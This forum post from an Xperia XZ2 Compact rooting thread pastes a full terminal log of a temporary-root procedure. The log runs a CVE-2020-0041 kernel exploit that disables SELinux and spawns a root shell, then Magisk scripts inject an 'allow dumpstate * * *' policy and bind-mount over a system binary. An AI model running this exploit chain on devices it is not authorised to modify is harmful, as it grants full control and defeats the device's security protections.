[Sony Xperia XZ2 Compact ROMs, Kernels, Recoveries,] Dom195:
[MENTION=4418980]j4nn[/MENTION], I don´t really know what the exact problem was but it did work this time!

Thanks a lot! Especially for being so patient with me :)

Do you have an explanation for me what the problem was and why now it succeeded?

D:\Downloads\XZ2 Compact Temp Root\2. Temp Root durchführen>adb devices
List of devices attached
BH900A5ZBZ device

D:\Downloads\XZ2 Compact Temp Root\2. Temp Root durchführen>adb shell
H8324:/ $ cd /data/local/tmp
H8324:/data/local/tmp $ unzip tama-mroot.zip
Archive: tama-mroot.zip
replace magisk-start.sh? [y]es, [n]o, [A]ll, [N]one: y
inflating: magisk-start.sh
replace magisk-setup.sh? [y]es, [n]o, [A]ll, [N]one: y
inflating: magisk-setup.sh
replace tama-mroot? [y]es, [n]o, [A]ll, [N]one: y
inflating: tama-mroot
H8324:/data/local/tmp $ chmod 755 tama-mroot magisk-setup.sh magisk-start.sh
H8324:/data/local/tmp $ ./magisk-setup.sh --cleanup
+ '[' --cleanup '=' --cleanup ']'
+ rm -rf magisk magiskpolicy
+ exit 0
H8324:/data/local/tmp $ ./magisk-setup.sh
+ '[' '' '=' --cleanup ']'
+ ZIPFILE=Magisk-v20.4.zip
+ '[' ! -d magisk ']'
+ mkdir -p magisk
+ cd magisk
+ unzip ../Magisk-v20.4.zip
Archive: ../Magisk-v20.4.zip
inflating: META-INF/MANIFEST.MF
inflating: META-INF/CERT.RSA
inflating: META-INF/CERT.SF
inflating: arm/magiskinit
inflating: META-INF/com/google/android/updater-script
inflating: arm/magiskinit64
inflating: META-INF/com/google/android/update-binary
inflating: chromeos/kernel.keyblock
inflating: chromeos/kernel_data_key.vbprivk
inflating: x86/magiskinit
inflating: common/util_functions.sh
inflating: arm/magiskboot
inflating: x86/magiskinit64
inflating: common/addon.d.sh
inflating: common/magisk.apk
inflating: chromeos/futility
inflating: common/boot_patch.sh
inflating: x86/magiskboot
+ mv META-INF/com/google/android/update-binary arm/magiskboot arm/magiskinit64 c
ommon/addon.d.sh common/boot_patch.sh common/util_functions.sh .
+ sh ./update-binary -x
2034+0 records in
2034+0 records out
2082816 bytes (1.9 M) copied, 0.020006 s, 99 M/s
1410+1 records in
1410+1 records out
1443916 bytes (1.3 M) copied, 0.015296 s, 90 M/s
+ pm install -r common/magisk.apk
Success
+ rm -rf update-binary META-INF arm chromeos common x86
+ cd ..
+ ln -s magisk/magiskinit64 magiskpolicy
H8324:/data/local/tmp $ pwd
/data/local/tmp
H8324:/data/local/tmp $ ls -lZ ./magiskpolicy
lrwxrwxrwx 1 shell shell u:object_r:shell_data_file:s0 22 2020-07-11 00:29 ./mag
iskpolicy -> magisk/magiskinit64
H8324:/data/local/tmp $ ls -lZ ./magisk/magiskinit64
-rwxrwxrwx 1 shell shell u:object_r:shell_data_file:s0 353736 2020-07-11 00:29 .
/magisk/magiskinit64
H8324:/data/local/tmp $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(ad
b),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),300
6(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
H8324:/data/local/tmp $ id -Z
context=u:r:shell:s0
H8324:/data/local/tmp $ groups
input log adb sdcard_rw sdcard_r net_bt_admin net_bt inet net_bw_stats readproc
uhid
H8324:/data/local/tmp $ cat ./magiskpolicy > /dev/null
H8324:/data/local/tmp $ cat ./magisk/magiskinit64 > /dev/null
H8324:/data/local/tmp $ ./tama-mroot
[+] Detected H8324-52.1.A.0.618 target
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xfffffff47b218800
[+] file epitem at fffffff46afc2d00
[+] Reallocating content of 'write8_inode' with controlled data..........[DONE]
[+] Overwriting 0xfffffff47b218820 with 0xfffffff46afc2d50...[DONE]
[+] Write done, should have arbitrary read now.
[+] file operations: ffffff8ebb61ebf8
[+] kernel base: ffffff8eba480000
[+] Reallocating content of 'write8_selinux' with controlled data...[DONE]
[+] Overwriting 0xffffff8ebc88f000 with 0x0...[DONE]
[+] init_cred: ffffff8ebc62fcd0
[+] memstart_addr: 0xffffffcc40000000
[+] First level entry: 12abc0003 -> next table at fffffff4eabc0000
[+] Second level entry: 10aa05003 -> next table at fffffff4caa05000
[+] sysctl_table_root = ffffff8ebc65c710
[+] Reallocating content of 'write8_sysctl' with controlled data....[DONE]
[+] Overwriting 0xfffffff53168cf68 with 0xfffffff4d975b000...[DONE]
[+] Injected sysctl node!
[+] Node write8_inode, pid 17599, kaddr fffffff52b539f80
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_selinux, pid 17501, kaddr fffffff517188300
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_sysctl, pid 17782, kaddr fffffff4c247de80
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[+] epitem.next = fffffff47b218820
[+] epitem.prev = fffffff47b2188d8
[+] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp # pwd
/data/local/tmp
root_by_cve-2020-0041:/data/local/tmp # ls -lZ ./magiskpolicy
lrwxrwxrwx 1 shell shell u:object_r:shell_data_file:s0 22 2020-07-11 00:29 ./mag
iskpolicy -> magisk/magiskinit64
root_by_cve-2020-0041:/data/local/tmp # ls -lZ ./magisk/magiskinit64
-rwxrwxrwx 1 shell shell u:object_r:shell_data_file:s0 353736 2020-07-11 00:29 .
/magisk/magiskinit64
root_by_cve-2020-0041:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdca
rd_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_sta
ts),3009(readproc),3011(uhid) context=u:r:kernel:s0
root_by_cve-2020-0041:/data/local/tmp # id -Z
context=u:r:kernel:s0
root_by_cve-2020-0041:/data/local/tmp # groups
input log adb sdcard_rw sdcard_r net_bt_admin net_bt inet net_bw_stats readproc
uhid
root_by_cve-2020-0041:/data/local/tmp # cat ./magiskpolicy > /dev/null
root_by_cve-2020-0041:/data/local/tmp # cat ./magisk/magiskinit64 > /dev/null
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -1
+ FRESH=false
+ '[' -1 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ FRESH=true
+ ./magiskpolicy --live --magisk 'allow dumpstate * * *'
Load policy from: /sys/fs/selinux/policy
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -2
+ FRESH=false
+ '[' -2 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ FRESH=true
+ STAGE=2
+ '[' 2 '=' 2 ']'
+ mount -t tmpfs -o 'mode=755' none /sbin
+ chcon u:object_r:rootfs:s0 /sbin
+ chmod 755 /sbin
+ cp -a magisk/boot_patch.sh /sbin
+ cp -a magisk/magiskboot /sbin
+ cp -a magisk/magiskinit64 /sbin
+ cp -a magisk/busybox /sbin
+ cp -a magisk/util_functions.sh /sbin
+ cd /sbin
+ chmod 755 boot_patch.sh busybox magiskboot magiskinit64 util_functions.sh
+ mkdir r
+ mount -o bind / r
+ cp -a r/sbin/. /sbin
+ umount r
+ rmdir r
+ mv magiskinit64 magiskinit
+ ./magiskinit -x magisk magisk
+ ln -s /sbin/magiskinit /sbin/magiskpolicy
+ ln -s /sbin/magiskinit /sbin/supolicy
+ true
+ rm -rf /data/adb/magisk.db /data/adb/magisk
+ mkdir -p /data/adb/magisk
+ chmod 700 /data/adb
+ cp -a busybox /data/adb/magisk
+ cp -a magisk /data/adb/magisk
+ cp -a magiskboot /data/adb/magisk
+ cp -a magiskinit /data/adb/magisk
+ cp -a util_functions.sh /data/adb/magisk
+ cp -a boot_patch.sh /data/adb/magisk
+ chmod -R 755 /data/adb/magisk
+ chown -R root:root /data/adb/magisk
+ chcon -R u:object_r:magisk_file:s0 /data/adb/magisk
+ rm -f magiskboot util_functions.sh boot_patch.sh
+ ln -s /sbin/magisk /sbin/su
+ ln -s /sbin/magisk /sbin/resetprop
+ ln -s /sbin/magisk /sbin/magiskhide
+ mkdir /sbin/.magisk
+ chmod 755 /sbin/.magisk
+ >/sbin/.magisk/config
+ echo 'KEEPVERITY=true'
+ >>/sbin/.magisk/config
+ echo 'KEEPFORCEENCRYPT=true'
+ chmod 000 /sbin/.magisk/config
+ mkdir -p /sbin/.magisk/busybox
+ chmod 755 /sbin/.magisk/busybox
+ mv busybox /sbin/.magisk/busybox
+ mkdir -p /sbin/.magisk/mirror
+ chmod 000 /sbin/.magisk/mirror
+ mkdir -p /sbin/.magisk/block
+ chmod 000 /sbin/.magisk/block
+ mkdir -p /sbin/.magisk/modules
+ chmod 755 /sbin/.magisk/modules
+ mkdir -p /data/adb/modules
+ chmod 755 /data/adb/modules
+ mkdir -p /data/adb/post-fs-data.d
+ chmod 755 /data/adb/post-fs-data.d
+ mkdir -p /data/adb/service.d
+ chmod 755 /data/adb/service.d
+ chcon -R -h u:object_r:rootfs:s0 /sbin/.magisk
+ chcon u:object_r:magisk_file:s0 /sbin/.magisk/busybox/busybox
+ /sbin/magisk --daemon
client: launching new main daemon process
+ pidof magiskd
+ MP=21535
+ '[' -z 21535 ']'
+ >/sbin/.magisk/escalate
+ echo 21535
+ '[' -e /sbin/.magisk/escalate ']'
+ sleep 1
+ '[' -e /sbin/.magisk/escalate ']'
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -3
+ FRESH=false
+ '[' -3 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ STAGE=3
+ '[' 3 '=' 2 ']'
+ >/sbin/.magisk/magiskd
+ echo -e '#!/system/bin/sh\n/sbin/magisk --daemon'
+ chmod 755 /sbin/.magisk/magiskd
+ chcon u:object_r:dumpstate_exec:s0 /sbin/.magisk/magiskd
+ getprop init.svc.dumpstate
+ SVC=''
+ timeout=10
+ '[' 10 -gt 0 ']'
+ stop dumpstate
+ killall -9 magiskd
+ stop dumpstate
+ mount -o bind /sbin/.magisk/magiskd /system/bin/dumpstate
+ start dumpstate
+ timeout=10
+ '[' 10 -le 0 ']'
+ pidof magiskd
+ MP=21552
+ '[' -n 21552 ']'
+ break
+ stop dumpstate
+ sleep 1
+ umount /system/bin/dumpstate
+ rm -f /sbin/.magisk/magiskd
+ '[' '' '=' running ']'
+ rm -f /dev/.magisk_unblock
+ /sbin/magisk --post-fs-data
+ timeout=10
+ '[' -e /dev/.magisk_unblock -o 10 -le 0 ']'
+ sleep 1
+ timeout=9
+ '[' -e /dev/.magisk_unblock -o 9 -le 0 ']'
+ /sbin/magisk --service
+ sleep 1
+ /sbin/magisk --boot-complete
+ chmod 751 /sbin
root_by_cve-2020-0041:/data/local/tmp #